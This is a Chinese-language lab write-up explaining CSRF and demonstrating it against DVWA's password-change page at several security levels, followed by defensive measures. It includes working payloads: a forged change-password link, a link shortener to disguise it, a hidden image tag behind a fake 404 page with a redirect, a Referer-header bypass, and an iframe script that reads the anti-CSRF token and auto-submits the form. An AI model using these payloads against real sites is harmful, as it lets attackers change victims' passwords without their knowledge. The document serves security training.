CSRF属于业务逻辑漏洞X
SQL注入、XSS属于技术漏洞
原理
利用受害者尚未失效的身份认证信息(cookie,会话等),诱导受害人点击恶意链接或者含有攻击代码的页面,在受害人不知情的情况下,以受害者身份向服务器发送请求,从而完成非法操作(改密、转账等)。
前提条件
1、cookie未失效
2、用户登录
CSRF与XSS最大的区别
CSRF没有盗取cookie,而是直接利用,看起是合法请求。
Low
1、构造恶意链接
http://192.168.168.190/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
当受害者点击这个链接时,密码就已经被修改。
注意,不同浏览器之间因为机制不同,点击链接攻击是不会被触发的,而是自动跳转到登录页面。
2、这个链接修改密码太明显了,可以使用工具缩短url。如悟空短链接等(有效期半小时)
短链接条件:服务器域名不是ip
短链接 https://w.url.cn/s/AYYH7vc
受害者会看到密码修改的提示
3、构造攻击页面
Burp抓包生成POC,复制到html里面,上传到服务器
4、这样,还是明显,可以尝试打开页面为404
<html>
<img src=http://192.168.168.190/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change# border="0" style="display:none;"/>
<h1>404</h1>
<h2>Not Found</h2>
</html>
此时,密码已经修改成功,而用户不知情。可以使用新密码登录DVWA验证。
这种情况源代码可以看到修改密码的脚本
5、页面跳转
(1)在脚本中加入
<meta http-equiv="refresh" content="3; url=http://www.baidu.com/" />
页面会卡顿一下然后跳转到百度页面,为了显示效果,中间会出现一个404页面
(2)<script>window.location.href='http://www.baidu.com';</script>
还有别的页面跳转方式,可以自行百度。
Medium
可以看到,Medium级别的代码检查了保留变量HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。
我们可以将攻击页面命名为 受害者ip.html,上传、访问
或者
可以用Burp抓包,修改refer头部信息,文件名改为受害者ip,便可完美绕过
High
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
获取token代码
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
当受害者点击这个页面,脚本会通过一个看不见的框架偷偷修改访问修改密码的页面,获取页面的token,并向服务器发送改密请求,完成CSRF攻击。
然而,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。所以攻击脚本是不可能取到改密界面的token。
因此,我们要将攻击代码注入到目标服务器,才可能完成攻击。利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
Impossible
添加了二次认证,必须知道原密码。
防御
1、采用原始密码认证;
2、验证refer,即HTTP请求的来源地址。比如,黑客A想让受害者B转账给他,A会自己搭建一个网站构造HTTP请求,诱使B点击,从而使B处罚转账操作,此时refer值为A自己搭建的网站地址。
3、验证token(存在于服务器端session中)
4、在HTTP头部自定义属性并验证(XMLHttpRequest)